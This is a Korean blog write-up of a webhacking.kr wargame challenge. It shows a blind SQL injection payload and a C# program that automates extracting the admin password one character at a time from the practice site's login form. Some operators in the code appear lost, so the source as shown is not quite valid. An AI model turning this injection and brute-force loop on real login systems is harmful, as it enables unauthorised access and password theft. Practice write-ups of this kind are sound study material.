안녕하세요
요즘 webhacking.kr 문제를 풀고 있습니다.
간단하게 write_up을 해보려고 하는데, 정말 진심으로 실력을 늘리고 싶은 분들께는 아래 더보기를 누르지 마시기를 강력히 추천드리며
정말 모르시겟다면 결정적 힌트 두가지를 드리겠습니다.
힌트에 공감이 가시는 분은 다시한번 도전해보시고 정말 모르겠다면 Write_up을 함께 봐주세요
* 중간 결론 : 비밀번호 zombie 문자열이 user key 이다.
자 그러면 이제 blind sql injection을 시도해보겠습니다.
아이디는 admin이고, 그에따른 적절하게 공격구문을 만들어보겠습니다.
----------------------blind sql injection 구문 --------
admin' and ascii(substr(pw,1,1))=100#
----------------------blind sql injection 구문 --------
* blind sql injection 기술은 따로 서술하지 않겠습니다.
이런식으로 하나하나 값을 얻어냅니다.
하지만 대부분 사람은 손으로 대입하는 사람은 없을겁니다.
그래서 저는 C# 자동화 프로그램을 만들었습니다.
Source Code ----------------------------------------------------------------
public CookieContainer cookie = new CookieContainer(); // 쿠키 컨테이너
public void login() // 로그인
{
HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://webhacking.kr/index.html?enter=1");
req.Proxy = null;
req.Method = "POST";
req.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0";
req.ContentType = "application/x-www-form-urlencoded";
req.CookieContainer = cookie;
req.KeepAlive = true;
StreamWriter writer = new StreamWriter(req.GetRequestStream());
writer.Write("id=myid&pw=mypw");
writer.Close();
HttpWebResponse result = (HttpWebResponse)req.GetResponse();
}
public void send() // injection
{
HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://webhacking.kr/challenge/bonus/bonus-2/index.php");
req.Proxy = null;
req.Method = "POST";
req.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0";
req.ContentType = "application/x-www-form-urlencoded";
req.CookieContainer = cookie;
req.KeepAlive = true;
StreamWriter writer = new StreamWriter(req.GetRequestStream());
writer.Write("id=admin' and ascii(substr(pw," num ",1))=" bpint "#&pw=asd");
writer.Close();
HttpWebResponse result = (HttpWebResponse)req.GetResponse();
Stream re = result.GetResponseStream();
StreamReader red = new StreamReader(re, Encoding.Default);
string str = red.ReadToEnd();
if (str.Contains("Wrong password!") == true)
{
listBox1.Items.Add(bpint);
bpint = 29;
num ;
}
else
{
bpint ;
}
}
--------------------------------------------------------------------------------------
위 소스를 바탕으로 다음과 같은 결과를 뱉어냅니다.
감사합니다.
Webhacking.kr 55번 중간 풀이. (10) | 2012.11.05 |
---|---|
webhacking.kr 49번 write up (5) | 2012.11.05 |
Webhacking.kr 46번 write up (2) | 2012.11.04 |
Webhacking.kr 37번 Write up (2) | 2012.11.04 |
webhacking.kr 45번 write up (2) | 2012.11.02 |